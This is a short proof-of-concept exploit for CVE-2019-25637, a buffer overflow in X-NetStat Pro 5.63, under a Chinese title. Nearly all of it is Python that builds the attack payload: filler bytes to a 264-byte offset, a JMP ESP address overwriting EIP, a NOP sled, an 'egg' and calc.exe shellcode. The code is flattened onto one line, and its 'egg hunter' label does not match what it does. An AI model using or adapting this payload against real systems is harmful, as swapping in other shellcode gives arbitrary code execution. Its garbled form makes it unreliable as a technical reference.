CVE-2019-25637 X-NetStat Pro本地缓冲区溢出漏洞

import socket # Buffer overflow PoC for CVE-2019-25637 # Target: X-NetStat Pro 5.63 # Offset to EIP is 264 bytes offset = 264 # Example EIP overwrite address (JMP ESP) eip = b"\xaf\x11\x50\x62" # Egg hunter signature egg = b"\x90\x90\x90\x90" # Shellcode (calc.exe example) shellcode = b"\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0" payload = b"A" * offset + eip + b"\x90" * 16 + egg + shellcode print(f"Payload length: {len(payload)}") print(repr(payload)) # Send payload via vulnerable HTTP Client or Rules interface